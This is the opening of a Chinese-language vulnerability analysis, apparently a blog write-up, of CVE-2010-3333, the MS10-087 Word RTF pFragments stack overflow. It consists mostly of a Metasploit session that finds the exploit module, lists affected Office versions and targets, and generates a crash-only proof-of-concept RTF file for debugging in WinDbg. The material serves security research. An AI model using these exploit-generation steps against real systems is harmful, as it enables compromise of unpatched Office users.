0x00 RTF格式

RTF是Rich TextFormat的縮寫，意即富文本格式。

...（詳細分析再議）

0x01 漏洞分析

1.利用Metasploit生成可觸發漏洞的Poc樣本

msf > search cve-2010-3333

Matching Modules
================

   Name                                                    Disclosure Date  Rank   Description
   ----                                                    ---------------  ----   -----------
   exploit/windows/fileformat/ms10_087_rtf_pfragments_bof  2010-11-09       great  MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)


msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > info

       Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
     Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
   Platform: Windows
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-09

Provided by:
  wushi of team509
  unknown
  jduck <[email protected]>
  DJ Manila Ice, Vesh, CA

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Microsoft Office 2002 SP3 English on Windows XP SP3 English
  2   Microsoft Office 2003 SP3 English on Windows XP SP3 English
  3   Microsoft Office 2007 SP0 English on Windows XP SP3 English
  4   Microsoft Office 2007 SP0 English on Windows Vista SP0 English
  5   Microsoft Office 2007 SP0 English on Windows 7 SP0 English
  6   Crash Target for Debugging

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.rtf          yes       The file name.

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in the handling 
  of the ‘pFragments‘ shape property within the Microsoft Word RTF 
  parser. All versions of Microsoft Office 2010, 2007, 2003, and XP 
  prior to the release of the MS10-087 bulletin are vulnerable. This 
  module does not attempt to exploit the vulnerability via Microsoft 
  Outlook. The Microsoft Word RTF parser was only used by default in 
  versions of Microsoft Word itself prior to Office 2007. With the 
  release of Office 2007, Microsoft began using the Word RTF parser, 
  by default, to handle rich-text messages within Outlook as well. It 
  was possible to configure Outlook 2003 and earlier to use the 
  Microsoft Word engine too, but it was not a default setting. It 
  appears as though Microsoft Office 2000 is not vulnerable. It is 
  unlikely that Microsoft will confirm or deny this since Office 2000 
  has reached its support cycle end-of-life.

References:
  https://cvedetails.com/cve/CVE-2010-3333/
  OSVDB (69085)
  https://technet.microsoft.com/en-us/library/security/MS10-087
  http://www.securityfocus.com/bid/44652
  http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880

msf exploit(ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf exploit(ms10_087_rtf_pfragments_bof) > exploit

[*] Creating ‘msf.rtf‘ file ...
[+] msf.rtf stored at /home/moonagirl/.msf4/local/msf.rtf

獲取樣本後，我們利用windbg進行分析。

CVE-2010-3333